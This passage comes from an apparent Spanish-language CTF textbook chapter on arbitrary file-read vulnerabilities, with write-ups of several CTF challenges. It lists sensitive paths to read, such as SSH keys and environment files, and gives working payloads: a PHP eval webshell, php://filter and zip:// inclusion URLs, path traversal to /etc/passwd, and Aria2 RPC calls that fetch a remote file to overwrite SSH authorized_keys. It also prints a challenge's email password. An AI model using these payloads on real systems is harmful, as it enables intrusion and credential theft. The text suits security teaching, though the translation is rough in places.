/usr/local/nginx/conf/* (instalación de código fuente u otro sistema) Archivos de registro.
/var/log/* (Aplicaciones web que a menudo usan Apache 2 pueden leer / var/log/apache2/access.log) (analizar los registros y robar los pasos de solución de otros jugadores).
Directorio raíz web predeterminado de Apache.
/var/www/html/ Directorio de sesiones PHP.
/var/lib/php(5)/sessions/ (divulgación de la sesión del usuario) Directorio del usuario.
[directorio_del_usuario_que_conoces]/.bash_history (Divulgación del historial de
comandos) [directorio_del_usuario_que_conoces]/.bashrc (Variables ambientales parciales) [directorio_del_usuario_que_conoces]/.ssh/id_rsa(.pub) (clave privada/clave pública para inicio de sesión SSH) [directorio_del_usuario_que_conoces]/.viminfo (registro de uso de vim) A veces queremos leer el archivo ejecutable de la aplicación actual para analizarlo, pero en la práctica puede haber medidas de seguridad que nos impidan leer el archivo ejecutable. En este caso, podemos intentar leer /proc/self/exe.
/proc/[pid]/fd/(1|2...) (leer stdout o stderr o lo que [pid] apunta al proceso) /proc/[pid]/maps (mapa de memoria de [pid] para el proceso) /proc/[pid]/(mounts|mountinfo) es comúnmente encontrado en entornos Docker.
(En este caso, mounts revela algunas rutas sensibles).

/proc/[pid]/net/* ([pid] apunta a la información de red del proceso, por ejemplo, leer TCP obtendrá el puerto TCP al que está vinculado el proceso) (ARP filtrará información de IP de intranet en el mismo segmento) 1.3.2.2 Windows La vulnerabilidad de lectura arbitraria de archivos en aplicaciones web de Windows no es común
en desafíos CTF, pero hay un problema cuando se utiliza Windows con PHP: es posible usar símbolos como “<” como comodines para leer archivos sin conocer el nombre completo del archivo. Los contenidos se describen en detalle en los siguientes ejemplos.
1.3.3 Ejemplo de Vulnerabilidad de Lectura de Archivos Basado en una gran cantidad de desafíos CTF relevantes, esta sección presenta casos del mundo real de vulnerabilidades de lectura de archivos.
1.3.3.1 Soldados Astutos (HCTF 2016) 【Introducción】 La primera mitad del 
argumento de ruta pasado a la función include puede ser controlada por un atacante, la segunda mitad del contenido está determinada y la parte incontrolable es el sufijo .php.
...
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/. \cr. /', $fp)){ die('¡No No No!');
} if(preg_match('/rm/i', $_SERVER["QUERY_STRING"]){ die();
} ...
if($fp ! == 'fail') { if(! (include($fp.'.php'))) { Hay una función de carga de archivos en 
upload.php, pero el nombre del archivo cargado en el servidor no está controlado.
...
// function.php función create_imagekey(){ return sha1($_SERVER['REMOTE_ADDR']. $_SERVER['HTTP_USER_AGENT'].
time().mt_rand());
}
//upload.php $imagekey = create_imagekey();
move_uploaded_file($name, "uploads/$imagekey.png");
echo "<script>location.href='?fp=show&imagekey=$imagekey'</ script>";
[Dificultad】 Moderada.
【Conocimiento】 Utilización de filtro del protocolo php://; inclusión de archivos a través del protocolo zip://.
【Resolución del desafío】 Comienza el desafío, encuentra solo un formulario de carga de archivos en la página de inicio, primero carga un archivo normal para hacer pruebas. Mediante la interceptación de paquetes en la red local, encontramos que
los datos POST se transfieren a "/?fp=upload", luego sigue el flujo del paquete, encontraremos que el resultado salta a "/?fp=show&imagekey=xxx".
A partir de ahí, la dirección del pensamiento variará para jugadores con diferentes niveles de experiencia.
(1) Paso 1 Jugadores novatos: Continúan probando la función de carga de archivos.
Jugadores experimentados: Al ver el argumento fp, lo asocian con un puntero de archivo, es decir, el valor de fp puede estar relacionado con un archivo.
(2) Paso 2 Jugadores novatos: ¿Cómo podría
eludir el mecanismo de protección de carga de archivos?
Jugadores experimentados: van directamente a show.php, upload.php, o intentan encontrar un archivo PHP con un nombre que tenga el significado especial de show o upload, o cambian show/upload a otro archivo conocido con el nombre "home".
Para jugadores más experimentados: cambian el contenido del parámetro fp a "./show" ".. /html/show", etc. No podemos conocer la ruta exacta del archivo objetivo que contiene y si es una ruta extraña, no podemos encontrar el archivo PHP original, 
por lo que el formato "./show" es una buena solución a este problema que facilita determinar si existe una vulnerabilidad de inclusión de archivos arbitraria.
(3) Paso 3 Jugadores novatos: Este desafío debe requerir un 0day para eludir la protección. Debería rendirme.
Jugadores experimentados: Según los resultados de acceder directamente a "show.php/ upload.php" y "?fp=home", se juzga que existe una vulnerabilidad de inclusión de archivos.
Utiliza el mecanismo de filtro para construir datos de ataque como "php://filter/convert.base64-encode/resource=xxx". Lee archivos y obtén el código fuente de varios archivos; usa el protocolo zip:// con el archivo Zip cargado, incluyendo un archivo Webshell comprimido; luego llama al Webshell en el paquete comprimido a través del protocolo zip://, y el enlace para acceder a este Webshell es:

?fp=zip://uploads/fe5e1c43e6e6bcfd506f0307e8ed6ec7ecc3821d.png% 231&shell=phpinfo();
fe5e1c43e6e6bcfd506f0307e8ed6ec7ecc3821d.png (zipf i le) 1.php (phpf i le) => "<?php eval($_GET['shell']);?>


El desafío primero examina la capacidad del jugador para encontrar cualquier vulnerabilidad relacionada con la lectura/inclusión de archivos a través de pruebas de caja negra. Cada persona tiene su propio método único de pruebas. Las ideas escritas arriba son solo para referencia.

Cuando se realiza una prueba de caja negra, debemos capturar las palabras clave en los parámetros y tener una cierta capacidad de asociación.
Examinar el uso de Filtros por parte de los jugadores, como php://filter/convert.base64-encode (codificar la secuencia de archivo a través de Base64).

Examinar el uso del protocolo zip:// por parte de los jugadores: Tratar la secuencia de archivo como una secuencia de archivo Zip y usar "#" (%23) para seleccionar la secuencia de archivo del archivo especificado en el paquete comprimido.

Es posible que no entiendas el punto , pero aquí tienes la explicación. Cuando cargamos un archivo Zip en el servidor y este archivo
Zip se analiza utilizando el protocolo zip://, el archivo Zip se analiza automáticamente según su estructura de archivo y luego el archivo Zip se indexa por "# (código URL correspondiente %23) +nombrearchivo" (En el ejemplo anterior, un archivo llamado 1.php se almacena internamente). En este caso, toda la secuencia de archivo se localiza en 1.php, por lo que el contenido de inclusión es el contenido de 1.php, como se muestra en la Figura 1.65.

1.3.3.2 PWNHUB-Classroom 【Introducción】 Desarrollado con el marco
de Django y configurado un directorio de recursos estáticos de manera insegura.

#urls.py
from django.conf.urls import url
from.import views
urlpatterns = [url('^$', views.IndexView.as_view(), name='index'), url('^login/$', views.LoginView.as_view(), name='login'), url('^logout/$', views.LogoutView.as_view(), name='logout'), url('^static/(?P<path>.*)', views.StaticFilesView.as_view(), 
name='static')] ...

##views.py
...
class StaticFilesView(generic.View):
content_type = 'text/plain'
def get(self, request, *args, **kwargs):

Filename = self.kwargs['path'] f i lename = os.path.join(settings.BASE_DIR, 'students', 'static' filename) name, ext = os.path.splitext(f i lename) if ext in ('.py', '.conf', '.sqlite3', '.yml'):
raise exceptions.PermissionDenied('Permiso denegado') try:
return HttpResponse(FileWrapper(open(f i lename, 'rb'), 8192), content_type=self.content_type) except BaseException as e:
raise Http404('Archivo estático no encontrado')

Dificultad】 Moderada. 【Conocimiento】 Vulnerabilidad de lectura de archivo en Python (Django) causada por error de configuración de recursos estáticos; Decompilación de archivos de bytecode Pyc; Inyección en el ORM del framework Django. 【Resolución del desafío】 Primera vulnerabilidad: El código primero coincide con el contenido después de la ruta de URL "static/" proporcionada por el usuario, y luego pasa este contenido a "os.path.join", formando una ruta absoluta después de concatenar con algunos directorios predeterminados del sistema, y luego realiza la comprobación del nombre de sufijo. Después de la comprobación, la ruta absoluta se pasa a la función "open()", se lee el contenido del archivo y se devuelve al usuario.

La segunda vulnerabilidad se encuentra en la clase "LoginView" de "views.py". Como puedes ver, después de cargar los datos JSON proporcionados por el usuario, los datos cargados se pasan directamente a "x.objects.filter" (una función ORM nativa de Django).

.. class LoginView(JsonResponseMixin, generic.TemplateView): template_name = 'login.html' def post(self, request, *args, **kwargs): data = json.loads(request.body.decode())) stu = models.Student.objects.f i lter(**data).f i rst() if not stu or stu.passkey ! = data['passkey']: return self._jsondata('', 403) else: request.session['is_login'] = True return self._jsondata('', 200) ... abre el enlace del reto y podrás ver la información del servidor en el encabezado de respuestas http.





Server: gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2
Sabemos ahora que el framework Django de Python desarrolla el reto. Cuando topamos una situación donde no podemos ver el código fuente en retos relacionados a python , primero podemos verificar si hay alguna vulnerabilidad en el directorio traversal (tal vez un configuración insegura de Nginx o el framework de Python), usaremos “/etc/passwd” como auditoría para lectura del archivo, y la ruta solicitada es: /static/../../../../../../etc/passwd 
Se puede hallar que algún archivo de lectura vulnerable existe,pero cuando queremos leer los archivos que contienen el código fuente, Se descubrió que el servidor ha filtrado varias extensiones comunes de archivos, incluyendo extensiones de Python, extensiones de archivos de configuración, extensiones de archivos Sqlite y YML.

Extensión de archivo: if ext in ('.py', '.conf', '.sqlite3', '.yml'): raise exceptions.PermissionDenied('Permission deny') ¿hay otra manera de obtener el código fuente?
Cuando ejecutas un archivo en python 3, el módulo ejecutándose está almacenado en caché y almacenado en la __pycache__ directory, donde el archivo PYC bytecode se llama de la manera siguiente:
 [module_name]+".cpython-3"+[\d](python3 minor version number) + ". pyc" __pycache__/views.cpython-34.pyc es un ejemplo de un archivo. Así podemos los archivos en caché y obtener el código fuente.
Reemplaza la ruta del exploit de la siguiente manera:
 /static/.. /__pycache__/urls.cpython-35.pyc Ahora leemos exitosmente el arhivo PYC bytecode.
Lee todos los archivos PYC y luego decompila el archivo PYC bytecode para obtener el código fuente. Revisando el código fuente obtenido, encontramos una vulnerabilidad a inyección ORM, la cuál se puede explotar para obtener la bandera contenids,vea la figura 16.

Los jugadores de retos captura la bandera,deben juzgar el entorno del reto a través del entorno del reto,a través de la huella en el encabezado http. Por supuesto,servirá para integrar y adquirir experiencia y algunas habilidades,las cuáles serán necesarias acumularlas a través de la práctica.
Debe estar familiarizado con el entorno y el marco de aplicación web utilizados por el desafío CTF. Incluso si los jugadores de CTF no están familiarizados al principio, deben construir y aprender rápidamente las características del entorno y el marco, o consultar el manual. Nota: Configurar rápidamente un entorno y aprender características es la habilidad básica de los jugadores de CTF para resolver desafíos web.
Capaz de encontrar una vulnerabilidad de traversal de directorio a través de pruebas de caja negra y luego utilizar esta vulnerabilidad para leer archivos arbitrarios.
Auditoría del código fuente, de acuerdo con, después de comprender las características del marco, se obtiene la bandera a través de una inyección ORM.







Muéstrame la Shell I (TCTF/0CTF 2018 Final) 【Introducción】 La vulnerabilidad del desafío es evidente. La función UpdateHead es la función encargada de actualizar el avatar. El protocolo de la URL proporcionada 
por el usuario puede ser el protocolo File, y luego se desencadena la vulnerabilidad de lectura de archivos arbitrarios en el componente de la URL en la función Download. // UserController.class ... @RequestMapping(value={"/headimg.do"}, method={org.springframework.web.bind.annotation.RequestMethod.GET}) public void UpdateHead(@RequestParam("url") String url) { String downloadPath = this.request.getSession().getServletContext().getRealPath("/") + "/headimg/"; String headurl = "/headimg/" +
HttpReq.Download(url, downloadPath); User user = (User)this.session.getAttribute("user"); Integer uid = user.getId(); this.userMapper.UpdateHeadurl(headurl, uid); } ... // HttpReq.class ... public static String Download(String urlString, String path) { String filename = "default.jpg"; if (endWithImg(urlString)) { try { URL url = new URL(urlString); URLConnection urlConnection = url.openConnection(); urlConnection.setReadTimeout(5000); int size = urlConnection.getContentLength(); if (size < 10240) { InputStream is = urlConnection.getInputStream();
【Dificultad】 Fácil.
【Conocimiento】 El protocolo de archivo del componente URL de Java.
【Resolución del desafío】 Descompila el archivo de bytecode de la clase Java (JD); Encuentra las vulnerabilidades en el código fuente a través de una auditoría de código.
【Resumen】 Los jugadores de CTF deben acumular experiencia y comprender los protocolos de los componentes URL. La diapositiva compartida después del juego se muestra en la Figura 1.67.
1.3.3.4 BabyIntranet I (SCTF 2018) 【Introducción】 Este desafío está desarrollado utilizando el framework Rails, y existe una vulnerabilidad de ejecución de código remoto de Ruby On Rails (CVE-2016-0752), y el archivo se puede leer de manera arbitraria (la causa raíz de la vulnerabilidad es una vulnerabilidad de inclusión de archivo).
def show render params[:template] end Al leer el código fuente, se revela que la aplicación utiliza el módulo de serialización de cookies de Rails para construir datos deserializados maliciosos al leer la clave de la aplicación, lo que ejecuta código malicioso.
#conf i g/initializers/cookies_serializer.rb Rails.application.conf i g.action_dispatch.cookies_serializer = :json 【Dificultad】 Moderada.
【Conocimiento】 Vulnerabilidad de lectura de archivos arbitrarios en el framework Ruby On Rails; Vulnerabilidad de deserialización de cookies de Rails.
[Resolución del desafío】 Realizar detección de huellas dactilares en la aplicación y encontrar la aplicación desarrollada a través del marco de trabajo Rails a través de la información de huellas dactilares.
Luego puedes encontrar el enlace simbólico /layouts/c3JjX21w en el código fuente HTML, realizar decodificación Base64 en la parte posterior al enlace simbólico y descubrir que el contenido es src_ip.
Revisa las vulnerabilidades relacionadas con Rails para encontrar vulnerabilidades de renderización de plantillas dinámicas (CVE-2016-0752), codifíca
../../../../../../etc/passwd en Base64 y colócalas en diseños, luego regresa exitosamente/.Los contenidos de /etc/passwd file.
Al tratar de renderizar el arhivo ((../log/development.log)
 falla al ejecutar código arbitrario, no se encontraron permisos para representar este archivo, se leyó todo el código legible o archivos de configuración, y se descubrió que se usaba el módulo cookies_serializer. 
Intenta leer las variables de entorno del usuario actual y descubre que no hay permisos, luego intenta leer /proc/self/environ.
Después de obtener la clave, utiliza el módulo de ataque de deserialización de Ruby correspondiente en Metasploit para explotar la vulnerabilidad.
[Resumen] Lectura arbitraria de archivos a través de la vulnerabilidad de ejecución de código remoto en Ruby On Rails (CVE-2016-0752) (el autor modificó el código de la vulnerabilidad y codificó la ruta usando codificación Base64), como se muestra en la Figura 1.68.
El servidor prohíbe el permiso de lectura del registro, por lo que no es posible ejecutar código arbitrario directamente al renderizar el registro. Al leer el código fuente, podemos encontrar que se utiliza el módulo de Cookie Serialize de Rails en la aplicación. El mecanismo de procesamiento de todo el módulo consiste en serializar los datos de sesión reales y cifrarlos en modo AES-CBC y luego codificarlos dos veces con Base64. El flujo de procesamiento se muestra en la Figura 1.69.
Esto también es confirmado por la palabra clave Set-Cookie en la respuesta del servidor, consulta la Figura 1.70.
Podemos obtener las variables de entorno guardadas en /proc/self/environ a través de vulnerabilidades de lectura arbitraria de archivos, encontrar la secret_key utilizada para el cifrado AES y luego usar la secret_key para cifrar datos serializados maliciosos. De esta manera, cuando el servidor realice la operación de deserialización, desencadenará la vulnerabilidad para ejecutar código malicioso, como se muestra en la Figura 1.71.


SimpleVN (BCTF 2018) 【Introducción】 La función del desafío se divide principalmente en los siguientes dos puntos.
(1) El usuario puede establecer una plantilla para ser renderizada, pero esta plantilla tiene ciertas restricciones. Solo se pueden usar "." y letras y números. Además, la API funcional de la plantilla de renderización solo permite que se hagan solicitudes desde 127.0.0.1 (local).
...
const checkPUG = (upug) => { const f i leterKeys = ['global', 'require'] return /^[a-zA-z0-9.]*$/g.test(upug) && !f i leterKeys.some(t => upug.toLowerCase().includes(t)) } ...
console.log('Generando plantilla pug') const uid = req.session.user.uid const body = #{${upug}} console.log('body', body) const upugPath = path.join('usuarios', utils.md5(uid), ${uid}.pug) console.log('upugPath', upugPath) try { fs.writeFileSync(path.resolve(conf i g.PATH_VISTAS, upugPath), body) } catch (err) { ...
(2) En el desafío, una API envía una solicitud a través de un proxy local. El usuario ingresa la URL y el backend iniciará el navegador Chrome para solicitar esta URL, tomará una captura de pantalla de la página solicitada y la devolverá al usuario. Por supuesto, la URL enviada por el usuario también tiene ciertas restricciones, debe ser el HOST configurado localmente (127.0.0.1). Aquí hay un problema. La parte HOST del protocolo URL que pasamos en el protocolo File está vacía, por lo que esta comprobación también se puede eludir.
const checkURL = (shooturl) => { const myURL = new URL(shooturl) return conf i g.SERVER_HOST.includes(myURL.host) } 【Dificultad】 Moderada.
【Conocimiento】 El protocolo admitido por el navegador y el uso de view-source; Inyección de plantilla de Node; Encabezado de solicitud HTTP: Rango.
【Resolución del desafío】 Mediante la auditoría del código fuente, encontramos la vulnerabilidad de inyección de plantillas y la regla de solicitud del navegador en el lado del servidor, y encontramos la dirección de la solución: obtener la ruta de la bandera y leer el contenido de la bandera.




const FLAG_PATH =
path.resolve(constant.ROOT_PATH, '') ...
const FLAGFILENAME = process.env.FLAGFILENAME || '' ...
Obtén el nombre del archivo de la bandera inyectando process.env.FLAGFILENAME a través de la plantilla, luego obtén el directorio donde se encuentra toda la aplicación Node inyectando process.env.PWD a través de la plantilla y usa view-source: para mostrar el resultado parseado en etiquetas HTML, como se muestra en la Figura 1.72.
Lee FLAG_PATH en config.js usando f i le://+ ruta absoluta. Consulta la Figura 1.73.
Lee el contenido de la bandera y utiliza la palabra clave Range en el encabezado de solicitud HTTP para controlar el byte de inicio y el byte final de la salida. El contenido del archivo de la bandera en este desafío es tan grande que las solicitudes directas no pueden mostrar la parte real de la bandera, lo que necesita ser truncado en el medio, consulta la Figura 1.74.
【Resumen】 
 La vulnerabilidad de lectura arbitraria de archivos en el desafío no tiene nada que ver con NodeJS. En esencia, utiliza el protocolo admitido por el navegador, lo cual es un desafío relativamente nuevo
El principio de lectura de archivos es leer según la demanda y no a ciegas. Leer el contenido de los archivos a ciegas desperdiciará tiempo.
El mismo desafío relacionado con el uso de características del navegador es SEAFARING2 en el mismo juego, atacando el servidor selenium a través de la vulnerabilidad SSRF, controlando el navegador para solicitar f i le:/// para leer archivos locales. Los lectores pueden buscar este desafío si están interesados.
Google CTF 2018) 【Introducción】 Según la {{userQuery}} devuelta por el desafío, podemos pensar rápidamente que el desafío es una inyección de plantillas, que se puede probar usando la expresión matemática {{ 3*3 }}.
{ ...
"in_lang_query_is_spelled": "En francés, <b>
{{userQuery}}</b> se escribe como <b ng-bind="i18n.word(userQuery)"></b>.", ...
} Usando {{this.$parent.$parent.window.angular.module('demo')._invokeQueue[3][2][1]}} para leer algunos fragmentos de código y descubrir que se utiliza i18n.template para renderizar la plantilla, a través de i18n.template('./f l ag.txt') se lee la bandera.
【Dificultad】 Moderada.
【Conocimiento】 Inyección de plantillas de Node; leer la bandera a través de i18n.template.
【Resolución del desafío】 Primero, encuentra la inyección de plantillas, usa la inyección de plantillas para recopilar información, después de obtener suficiente información, utiliza la inyección de plantillas, llama a la función de lectura de archivos para leer el archivo de la bandera.
【Resumen】 El desafío involucra conocimiento de la inyección de plantillas de Node, requiere que los jugadores comprendan la sintaxis de la plantilla; convirtiendo la vulnerabilidad de inyección de plantillas en una vulnerabilidad de lectura de archivos.
Viendo Animated Get the Flag (PWNHUB) 【Introducción】 Escaneando los subdominios, encontré un sitio que registraba el proceso de construcción del entorno del desafío (blog.loli.network) y descubrí que el archivo de configuración de Nginx es el siguiente:
location /bangumi { alias /var/www/html/bangumi/;
} location /admin { alias /var/www/html/yaaw/;
} Después de explotar la travesía de directorios, se encontró el archivo de
configuración de Aria2 en el directorio padre, consulta la Figura 1.75.
También se descubrió que el servicio Aria2 está abierto en el puerto 6800 del servidor del desafío.




enable-rpc=true rpc-allow-origin-all=true seed-time=0 disable-ipv6=true rpc-listen-all=true rpc-secret=FLAG{enrealidadestanoeslaverdaderabandera} 【Dificultad】 Moderada.
【Conocimiento】 Mala configuración de Nginx que lleva a la travesía de directorios; Vulnerabilidad de escritura arbitraria de archivos de Aria2.
【Resolución del desafío】 Primero, recopila la información necesaria, incluidos los directorios, subdominios, etc. Se descubrieron errores de configuración de Nginx durante las pruebas (según el archivo de configuración de Nginx obtenido en el paso anterior de recopilación de información, la vulnerabilidad de travesía de directorios también se puede encontrar directamente a través de pruebas de caja negra. La condición crítica para realizar pruebas de caja negra es comprender las características de Nginx y sus posibles vulnerabilidades. Esto también nos puede ahorrar el tiempo
necesario para la recopilación de información y pasar directamente al segundo paso de resolución del desafío). Usa la travesía de directorios de Ngnix para obtener el archivo de configuración de Aria2, obtén el rpc-secret y utiliza el rpc-secret para aprovechar la vulnerabilidad de escritura arbitraria de archivos de Aria2 para escribir la clave pública ssh en el servidor.
Primero, envía la siguiente carga útil para configurar la opción allowoverwrite del lado del servidor en verdadero.
{ "jsonrpc":"2.0", "method":"aria2.changeGlobalOption", "id":1, "params":
[ "token:FLAG{infactthisisnotthecorrectf l ag}", { "allowoverwrite":"true" } ] } 
Luego llama a la API para descargar el archivo remoto, sobrescribe cualquier archivo local (aquí, sobrescribe directamente la clave pública SSH) e inicia sesión para obtener la bandera a través de SSH.
{ "jsonrpc":"2.0", "method":"aria2.addUri", "id":1, "params":
[ "token:FLAG{infactthisisnotthecorrectf l ag}", ["http://x.x.x.x/1.txt"], { "dir":"/home/bangumi/.ssh", "out":"Authorized_keys".
} ] }




El Año 2013 (PWNHUB) 【Introducción】 (1) Se descubre la existencia del archivo .DS_Store. Consulta la Figura 1.76.
(2) El archivo .DS_Store filtra la estructura actual del directorio. A través del análisis del archivo .DS_Store, se descubre que hay directorios como upload y pwnhub.




El directorio pwnhub está configurado para ser prohibido en el archivo Nginx (el archivo de configuración de Nginx no se puede obtener en las primeras etapas del juego y solo se puede juzgar por el código HTTP 403). El contenido de la configuración es el siguiente:
location /pwnhub/ { deny all;
} (4) Hay un directorio oculto en el mismo nivel en pwnhub, el archivo index.php en él puede cargar cualquier paquete comprimido TAR, y se llama al script de Python para
descomprimir automáticamente el paquete comprimido cargado y, al mismo tiempo, se devuelve el contenido del archivo con el sufijo .cfg en el paquete comprimido.

<?php // Establecer la codificación en UTF-8 para evitar caracteres chinos ilegibles.
header('Content-Type:text/html;charset=utf-8');
# Salir cuando no se carguen archivos $file = $_FILES['upload'];
# Imprevisibilidad del nombre de archivo $salt = Base64_encode('8gss7sd09129ajcjai2283u821hcsass').mt_rand (80,65535);
$name = (md5(md5($file['name']. $salt). $salt).' .tar');
if (!isset($_FILES['upload']) or !is_uploaded_file($file['tmp_name'])) { exit;
} # Mover archivos a la carpeta apropiada if (move_uploaded_file($file['tmp_name'], "/tmp/pwnhub/$name")) { $cfgName = trim(shell_exec('python /usr/local/nginx/html/6c58c8751bca32b9943b34d0ff29bc16/untar.py /tmp/pwnhub/'.
$name)); y $name));
$cfgName = trim($cfgName);
echo "<p>La configuración de actualización se ha realizado correctamente, con el siguiente contenido</p>";
// echo '<br/>';
echo '<textarea cols="30" rows="15">';
readfile("/tmp/pwnhub/$cfgName");
echo '</textarea>';
}

else { echo("Failed!");
} ?> #/usr/local/nginx/html/6c58c8751bca32b9943b34d0ff29bc16/untar.py import tarf i le import sys import uuid import os def untar(f i lename):
os.chdir('/tmp/pwnhub/') t = tarf i le.open(f i lename, 'r') for i in t.getnames():
if '...' in i or '.cfg' ! = os.path.splitext(i)[1]:
return 'error' else:
try:
t.extract(i, '/tmp/pwnhub/') except Exception, e:
return e else:
cfgName = str(uuid.uuid1()) + '.cfg' os.rename(i, cfgName) return cfgName if __name__ == '__main__':
f i lename = sys.argv[1] if not tarf i le.is_tarf i le(f i lename):
exit('error') else:
print untar(f i lename) (5) By analyzing the Linux crontab tasks, it was found that there exists a cron task.
30 * * * * root sh /home/jdoajdoiq/jdijiqjwi/jiqji12i3198ua x192/cron_run.sh (6) cron_run.sh executes a Python script that sends an email, which reveals the email account and password.
#coding:utf-8 import smtplib from email.mime.text import MIMEText mail_user = 'ctf_dicha@21cn.com' mail_pass = '634DRaC62ehWK6X' mail_server = 'smtp.21cn.com' mail_port = 465


Inicia sesión a través de la información de correo filtrada y continúa buscando la contraseña de la cuenta de VPN filtrada en el correo. Consulta la Figura 1.77. (8) Inicia sesión en la intranet a través de VPN y encuentra un contenedor Nginx con una aplicación de bandera legible, pero al acceder a la aplicación, solo se muestra "Oh Hacked" y no hay otra salida disponible. Hay una aplicación Discuz! X 3.4 con Apache como contenedor en otros puertos bajo la misma IP. ... $flag = "xxxxxxxxx"; include 'safe.php'; if ($_REQUEST['passwd'] = 'jiajiajiajia') { echo $flag;
}




[Dificultad]Moderada
[Conocimiento】 Nginx tiene una vulnerabilidad que permite el acceso no autorizado a un directorio, lo que conduce a una vulnerabilidad de lectura de archivos; construir un archivo zip con un archivo de enlace simbólico, cargar el archivo zip y leer archivos objetivo; Discuz!X 3.4 tiene una vulnerabilidad de eliminación arbitraria de archivos.

Resolución del desafío: Escaneo del directorio para encontrar el archivo .DS_Store (un archivo generado automáticamente de manera predeterminada en macOS, que se utiliza principalmente para registrar la ubicación de archivos en el directorio, por lo que contendrá nombres de archivos y otra información). Luego, se obtienen todos los subdirectorios y archivos en el directorio actual analizando el archivo .DS_Store. Utiliza el módulo ds_store para lograrlo. A continuación se muestra el código:
from ds_store import DSStore with DSStore.open("DS_Store", "r+") as f: for i in f: print(i)
Se encontró un espacio adicional al final del nombre del directorio de carga y se sospechó que podría utilizarse una vulnerabilidad en el análisis de Nginx (CVE-2013-4547) para eludir las restricciones de permisos del directorio 'pwnhub'. La idea es explotar la vulnerabilidad de análisis de Nginx para no coincidir con la expresión regular /pwnhub en el archivo de configuración de Nginx (ver Fig. 1.78).

Dentro del directorio /pwnhub, existe un directorio del mismo nivel en el que se encuentra un archivo PHP. Al solicitar el archivo PHP, se encuentra un formulario de carga. (Ver Fig. 1.79).
Se carga un archivo TAR a través del archivo PHP y se descubre que la aplicación descomprime automáticamente el archivo cargado (tarfile.open), lo que permite construir un enlace simbólico local llamado xxx.cfg, comprimirlo con el comando tar y subir el paquete TAR. Luego se obtiene un enlace suave al contenido del archivo (ver Fig. 1.80).

Leyendo /etc/crontab se revela que se ha iniciado una tarea cron extraña en crontab:




30 * * * * root sh /home/jdoajdoiq/jdijiqjwi/jiqji12i3198ua x192/cron_run.sh
Se lee el script sh llamado en crontab y se encuentra un script de Python en funcionamiento; luego se lee el script de Python para obtener la cuenta y contraseña de correo filtrados, se inicia sesión en el correo y se obtiene la cuenta y contraseña filtradas de la VPN (ver Fig. 1.81).



Después de conectarse con éxito a la VPN, se escanea la intranet de la VPN y se encuentra la aplicación Discuz!X 3.4 implementada y un servicio de lectura de banderas. Se utiliza una vulnerabilidad de eliminación de archivos arbitrarios de Discuz!X 3.4 para eliminar safe.php (ver Fig. 1.82).

En resumen, el proceso de resolución del desafío es largo y los jugadores deben tener ideas claras. Además de la travesía de directorios causada por una configuración inadecuada de Nginx, también existen vulnerabilidades históricas que pueden filtrar información. La idea de resolver este problema se muestra en la Fig. 1.83. Hay muchos desafíos para leer archivos arbitrarios mediante la construcción de enlaces simbólicos, como el extract0r de 34c3CTF, que no se describen en detalle aquí.
1.3.3.9 Comentario (NetDing Cup 2018 en línea) - Comienza con una página de inicio de sesión (ver Fig. 1.84). En el sitio web del desafío, se encuentra un directorio .git. El código fuente del programa se puede restaurar mediante la herramienta GitHack y, al auditar el código fuente restaurado, se descubre una inyección secundaria (ver Fig. 1.85).
【Dificultad】 Moderada.
【Conocimiento】 Fuga de código fuente causada por el directorio .git no eliminado; inyección secundaria (MySQL); leer contenido de archivos a través de una vulnerabilidad de inyección (load_file) (.bash_history->.DS_Store->bandera) 【Resolución del desafío】 Se utiliza el módulo Intruder de BurpSuite para realizar un ataque de fuerza bruta de 3 bytes después de la contraseña, con los ajustes de parámetros mostrados en la Figura 1.86.

Se restaura el código fuente de la aplicación mediante la filtración del directorio git, se encuentra la inyección SQL (inyección secundaria) a través de la auditoría del código fuente y se explota la vulnerabilidad de inyección. Sin embargo, se descubre que no hay bandera en la base de datos. Se intenta usar load_file para leer el contenido
del archivo /etc/passwd y se tiene éxito. Se registra el nombre de usuario "www" y su directorio de trabajo: /home/www/. Se lee /home/www/.bash_history para encontrar los comandos históricos del servidor:
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
Siguiendo la pista del contenido del archivo .bash_history, se lee /tmp/.DS_Store, se encuentra y se lee el archivo de bandera flag_8946e1ff1ee3e40f.php (nota que aquí se necesita codificar el resultado de load_file, por ejemplo, usando la función hex de MySQL).

【Resumen】 Este desafío es una cadena típica de lectura de archivos y explotación. Después de explotar la inyección de MySQL, se debe filtrar más información de directorios a través de .bash_history y luego leer otros archivos en la información recopilada.

1.3.3.10 Proyecto Ark (CISCN 2017) - El servicio de este desafío incluye funciones de registro e inicio de sesión. Después de iniciar sesión con la cuenta de administrador, puedes cargar archivos AVI y convertir automáticamente los archivos AVI cargados en archivos MP4.
【Dificultad】 Fácil.
【Conocimiento】 Usar comentarios en línea para evadir el WAF de inyección SQL; explotar una vulnerabilidad de FFMPEG para leer archivos arbitrarios.
【Resolución del desafío】 Al encontrarte con un desafío web CTF con funciones de inicio de sesión y registro, primero intenta una inyección SQL. Mediante pruebas de caja negra, se encuentra que existen vulnerabilidades de inyección INSERT en la etapa de registro. Al profundizar en la explotación, se descubre que hay un WAF, y luego se utilizan comentarios en línea para evadir el WAF (/ !50001select/), ver Figura 1.87.
Continúa obteniendo datos a través de la vulnerabilidad de inyección, obtén la cuenta de administrador, la contraseña cifrada y la clave de cifrado (st_key), y obtén la contraseña en texto plano mediante la desencriptación AES.

Usa el nombre de usuario y la contraseña inyectados para iniciar sesión en la cuenta de administrador y encuentra la función de conversión de formato de video en la página de administrador. Se sospecha que el contenido del desafío es una vulnerabilidad de lectura de archivos arbitrarios de FFMPEG.
Usa un script de exploit conocido para generar un archivo AVI malicioso y cargarlo, descarga el video convertido y reproduce el video para descubrir que se puede leer exitosamente el contenido del archivo (/etc/passwd), como se muestra en la Figura 1.88.

Según el contenido del archivo /etc/passwd, se encontró un usuario llamado "s0m3b0dy", y se supuso que la bandera está en su directorio de usuario, es decir, /home/s0m3b0dy/flag(.txt). Se continúa leyendo la bandera a través de la vulnerabilidad de lectura de archivos de FFMPEG y se encuentra que se obtuvo con éxito, ver Figura 1.89.


【Resumen】 ① Este desafío utiliza un método típico para evadir el WAF de inyección SQL (comentarios en línea).
② Este desafío sigue de cerca los problemas de seguridad más candentes, y los resultados de la lectura de archivos se presentan de una manera novedosa e interesante. El principio de la vulnerabilidad de lectura de archivos arbitrarios de FFMPEG radica principalmente en que el protocolo HLS (HTTP Live Streaming) admite el protocolo File, lo que permite la capacidad de leer archivos en el video.
